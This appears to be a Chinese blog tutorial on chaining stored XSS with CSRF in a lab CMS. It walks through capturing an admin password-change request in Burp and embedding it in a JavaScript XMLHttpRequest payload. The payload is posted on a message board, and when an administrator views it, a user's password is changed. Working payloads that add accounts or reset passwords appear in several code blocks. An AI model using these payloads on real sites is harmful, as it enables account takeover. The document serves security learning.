当前位置: 首页 > news >正文

CSRF与XSS结合利用

文章目录

  • 修改cms网站后台管理员密码
  • 成功登录
  • 总结

修改cms网站后台管理员密码

CSRF和XSS结合的JS代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

登录cms管理员后台,创建一个新账户:

在这里插入图片描述

修改密码并用bp抓包,抓到的post请求包如下:

POST /cms/admin/user.action.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/cms/admin/user.add.php?act=edit&userid=30
Cookie: username=admin; userid=1; PHPSESSID=he767h7viun2ig25ega7euu4l2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1act=edit&password=111111&password2=111111&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30

根据上述请求包的数据修改JS代码的act的password字段,修改地址,修改content-type字段:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://127.0.0.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=edit&password=12345&password2=12345&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30");
</script>

打开cms网页,在留言板中添加这段js代码并留言,提交:

在这里插入图片描述

当管理员在后台审核,看到这段留言时已经被攻击,EMT用户的密码已经被修改:

在这里插入图片描述

后台尝试登录EMT账户,发现不成功,密码已经被修改:

在这里插入图片描述

成功登录

用之前抓包修改的密码发现果然可以登录:

在这里插入图片描述

总结

我们先用bp在后台管理员修改账户密码的时候抓到了它的post请求包,然后将password字段修改后放入一段JS代码中,这段代码是XSS和CSRF漏洞的结合,接着我们找到cms网页中存在XSS漏洞的位置,即留言板,利用留言板注入JS代码,当后台管理审核留言时看到我们的留言,就会被攻击,使得网站的状态被改变,从而使EMT用户的密码被修改,这就是XSS和CSRF的结合。

http://www.lryc.cn/news/149789.html

相关文章:

  • 【爬虫】实验项目一:文本反爬网站的分析和爬取
  • DEAP库文档教程二-----创建类型
  • Axure RP美容美妆医美行业上门服务交互原型图模板源文件
  • 【SpringBoot】用SpringBoot代码详细解释<List>的用法
  • HRS--人力资源系统(Springboot+vue)--打基础升级--(六)分页查询 + 重置按钮
  • JavaScript设计模式(二)——简单工厂模式、抽象工厂模式、建造者模式
  • DEAP库文档教程五----计算统计
  • 新型安卓恶意软件使用Protobuf协议窃取用户数据
  • 【AI数字人】如何基于DINet+Openface自训练AI数字人
  • Stable Diffusion 多视图实践
  • 【实操干货】如何开始用Qt Widgets编程?(四)
  • 解决window安装docker报错问题
  • 茄子科技面试题
  • postgis数据库导出csv表再导入postgis
  • MySQL 特殊字符
  • Chrome自动升级了,找不到最新版本的webdriver怎么办?
  • 网络编程套接字(3): 简单的TCP网络程序
  • springMVC之拦截器
  • docker搭建个人网盘和私有仓库Harbor
  • 智慧排水监测系统,科技助力城市排水治理
  • 部署java程序的服务器cpu过高如何排查和解决
  • 合宙Air724UG LuatOS-Air LVGL API控件--按钮 (Button)
  • new/delete与malloc/free的区别
  • QT listWidget 中实现元素的自由拖拽
  • ChatGPT AIGC 完成二八分析柏拉图的制作案例
  • Python 分析HTTP的可靠性
  • 数据库连接报错CannotGetJdbcConnectionException: Failed to obtain JDBC Connection
  • 【Linux系列】vmware虚拟机网络配置详解
  • AUTOSAR规范与ECU软件开发(实践篇)7.8 MCAL模块配置方法及常用接口函数介绍之Icu的配置
  • 2023-9-2 Prim算法求最小生成树